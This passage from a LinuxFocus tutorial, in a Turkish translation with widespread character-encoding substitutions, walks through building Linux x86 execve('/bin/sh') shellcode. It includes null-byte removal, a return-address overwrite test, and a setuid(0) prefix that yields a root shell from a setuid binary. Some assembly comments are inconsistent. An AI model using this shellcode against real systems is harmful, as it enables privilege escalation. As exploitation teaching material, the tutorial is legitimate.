xorl %eax, %eax movl %eax, %0x0c(%esi)Bu örnek null byte'ýnýn kullanýlýþýný gösteriyor.Bununla birlikte bazý talimatlarýn heksedesimale çevirileri ortaya çýkmaktadýr.Örneðin
_exit(0)
sistem çaðrýsý ve diðerleri arasýnda ayrým
yapmakm için %eax
kayýt deðerinin 1 olmasý gereklidir.
Diðer yandan "/bin/sh
" string'i null byte ile son bulmasý
gerekmektedir.Biz kabuk kodunu oluþtururken bir tane koyabiliriz fakat bu
programýn içine konacak mekanizmaya baðlýdýr.Bu null byte son uygulamada
görünmeyebilir :
/* movb only works on one byte */ /* this instruction is equivalent to */ /* movb %al, 0x07(%esi) */ movb %eax, 0x07(%esi)
Þimdi kabuk kodunu oluþturmak için herþeye sahibiz :
/* shellcode4.c */ int main() { asm("jmp subroutine_call subroutine: /* Getting /bin/sh address*/ popl %esi /* Writing it as first item in the array */ movl %esi,0x8(%esi) /* Writing NULL as second item in the array */ xorl %eax,%eax movl %eax,0xc(%esi) /* Putting the null byte at the end of the string */ movb %eax,0x7(%esi) /* execve() function */ movb $0xb,%al /* String to execute in %ebx */ movl %esi, %ebx /* Array arguments in %ecx */ leal 0x8(%esi),%ecx /* Array environment in %edx */ leal 0xc(%esi),%edx /* System-call */ int $0x80 /* Null return code */ xorl %ebx,%ebx /* _exit() function : %eax = 1 */ movl %ebx,%eax inc %eax /* System-call */ int $0x80 subroutine_call: subroutine_call .string \"/bin/sh\" "); }
"gcc -o shellcode4
shellcode4.c
" ile kod derlenir. "objdump
--disassemble shellcode4
" komutu yardýmýyla bizim binary'imiz (ikili
tabanýmýz) daha fazla null byte tutmazlar :
08048398 <main>: 8048398: 55 pushl %ebp 8048399: 89 e5 movl %esp,%ebp 804839b: eb 1f jmp 80483bc <subroutine_call> 0804839d <subroutine>: 804839d: 5e popl %esi 804839e: 89 76 08 movl %esi,0x8(%esi) 80483a1: 31 c0 xorl %eax,%eax 80483a3: 89 46 0c movb %eax,0xc(%esi) 80483a6: 88 46 07 movb %al,0x7(%esi) 80483a9: b0 0b movb $0xb,%al 80483ab: 89 f3 movl %esi,%ebx 80483ad: 8d 4e 08 leal 0x8(%esi),%ecx 80483b0: 8d 56 0c leal 0xc(%esi),%edx 80483b3: cd 80 int $0x80 80483b5: 31 db xorl %ebx,%ebx 80483b7: 89 d8 movl %ebx,%eax 80483b9: 40 incl %eax 80483ba: cd 80 int $0x80 080483bc <subroutine_call>: 80483bc: e8 dc ff ff ff call 804839d <subroutine> 80483c1: 2f das 80483c2: 62 69 6e boundl 0x6e(%ecx),%ebp 80483c5: 2f das 80483c6: 73 68 jae 8048430 <_IO_stdin_used+0x14> 80483c8: 00 c9 addb %cl,%cl 80483ca: c3 ret 80483cb: 90 nop 80483cc: 90 nop 80483cd: 90 nop 80483ce: 90 nop 80483cf: 90 nop
Veri 80483c1 adresinden sonra gelir ve talimatlarý ifade etmez, fakat
"/bin/sh
" string karakterleri (in hexadécimal, sýra
2f 62 69 6e 2f 73 68 00
)ve rasgele byte'lar.Kod baþka sýfýr
tutmaz sadece null karakterini tutar string'in sonunda 80483c8.
Þimdi programýmýzý test edelim :
$ ./shellcode4 Segmentation fault (core dumped) $
Ooops!Çok iyi bir sonuç deðil.Eðer bit þeklinde düþünürsek hafýza
alanýnýndaki main()
fonksiyonu buluruz.(örneðin
text
alanýndan bahsedildimakalenin baþýnda) sadece-oku.Kabuk kodu
bunu deðiþtiremez.Ne yaapabiliriz kabuk kodunu test etmek için?Sadece-oku
problemini çözmek için kabuk kodu veri alanýna konulmasý gereklidir.
Gelin bir array koyalým global deðiþken gibi davranan.Bir baþka oyun da kabuk
kodunu çalýþtýrabilsin main()
fonksiyonu ile yýðýtta bulunan geri
dönüþüm adresini deðiþtirelim.Unutmayýn ki main
fonksiyonu
bir "standard" rutindirve kodun bir parçasý olarak tanýmlanýr.Geri dönüþ
adresi karakterlerin array'leri yýðýtýn en altýnda yer aldýðý zaman tekrar
yazýlýr.
/* shellcode5.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; /* +2 will behave as a 2 words offset */ /* (i.e. 8 bytes) to the top of the stack : */ /* - the first one for the reserved word for the local variable */ /* - the second one for the saved %ebp register */ * ((int *) & ret + 2) = (int) shellcode; return (0); }
Now, we can test our shellcode :
$ cc shellcode5.c -o shellcode5 $ ./shellcode5 bash$ exit $
Hatta shellcode5
programýný da yükleyelim.UID
root kuralým ve kabuðu dataileb kontrol edelim :
$ su Password: # chown root.root shellcode5 # chmod +s shellcode5 # exit $ ./shellcode5 bash# whoami root bash# exit $
Bu kabuk kodu bir bakýmdan sýnýrlýdýr (evet, kötü deðil biraz byte ile).Örneðin,test programýmýz þöyle olursa :
/* shellcode5bis.c */ char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }uygulamanýn UID etkilerini sabitledik daha önceki makalede belirttiðimiz gibi.Þimdi kabuk ayrýcalýksýz çalýþabilir :
$ su Password: # chown root.root shellcode5bis # chmod +s shellcode5bis # exit $ ./shellcode5bis bash# whoami pappy bash# exit $Bununla birlikte
seteuid(getuid())
talimatý koruma
için çok etkili deðildir. setuid(0);
kaydý kabuk kodunun
baþlangýcýna eþtir doðru linkleri EUID'ye almak için :
char setuid[] = "\x31\xc0" /* xorl %eax, %eax */ "\x31\xdb" /* xorl %ebx, %ebx */ "\xb0\x17" /* movb $0x17, %al */ "\xcd\x80";Bunu bizim daha önceki kabuk koduna indirgediðimizde örneðimiz :
/* shellcode6.c */ char shellcode[] = "\x31\xc0\x31\xdb\xb0\x17\xcd\x80" /* setuid(0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main() { int * ret; seteuid(getuid()); * ((int *) & ret + 2) = (int) shellcode; return (0); }Þimdi nasýl çalýþtýðýný kontrol edelim :
$ su Password: # chown root.root shellcode6 # chmod +s shellcode6 # exit $ ./shellcode6 bash# whoami root bash# exit $Son örnekte görüldüðü gibi kabuða fonksiyon eklemek mümkündür. ,örneðin dizinden çýkmak için
chroot()
fonksiyonu kullanmak gereklidir veye soket kullanarak
uzaktan kabuða ulaþmak gereklidir.
Bu tip deðiþiklikler bazen bazý byte'larýn deðerine adapte olmayý ima eder. :
eb XX |
<subroutine_call> |
XX = number of bytes to reach <subroutine_call> |
<subroutine>: |
||
5e |
popl %esi |
|
89 76 XX |
movl %esi,XX(%esi) |
XX = position of the first item in the argument array (i.e. the command address). This offset is equal to the number of characters in the command, '\0' included. |
31 c0 |
xorl %eax,%eax |
|
89 46 XX |
movb %eax,XX(%esi) |
XX = position of the second item in the array, here, having a NULL value. |
88 46 XX |
movb %al,XX(%esi) |
XX = position of the end of string '\0'. |
b0 0b |
movb $0xb,%al |
|
89 f3 |
movl %esi,%ebx |
|
8d 4e XX |
leal XX(%esi),%ecx |
XX = offset to reach the first item in the argument array and to
put it in the %ecx register |
8d 56 XX |
leal XX(%esi),%edx |
XX = offset to reach the second item in the argument array and to
put it in the %edx register |
cd 80 |
int $0x80 |
|
31 db |
xorl %ebx,%ebx |
|
89 d8 |
movl %ebx,%eax |
|
40 |
incl %eax |
|
cd 80 |
int $0x80 |
|
<subroutine_call>: |
||
e8 XX XX XX XX |
call <subroutine> |
these 4 bytes correspond to the number of bytes to reach <subroutine> (negative number, written in little endian) |
Yaklaþýk 40 byte program yazdýk ve bunlar harici komutlarla çalýþabilirler. Son örneklerimiz yýðýtlarýn nasýl parçalanabildiði konusunda fikir vermektedirler.Bu mekanizma üzerindeki ayrýntýlar bir sonraki makalede yer almaktadýr...
|
Görselyöre sayfalarýnýn bakýmý, LinuxFocus Editörleri tarafýndan yapýlmaktadýr
© Frédéric Raynal, Christophe Blaess, Christophe Grenier, FDL LinuxFocus.org Burayý klikleyerek hatalarý rapor edebilir ya da yorumlarýnýzý LinuxFocus'a gönderebilirsiniz |
Çeviri bilgisi:
|
2001-03-17, generated by lfparser version 2.9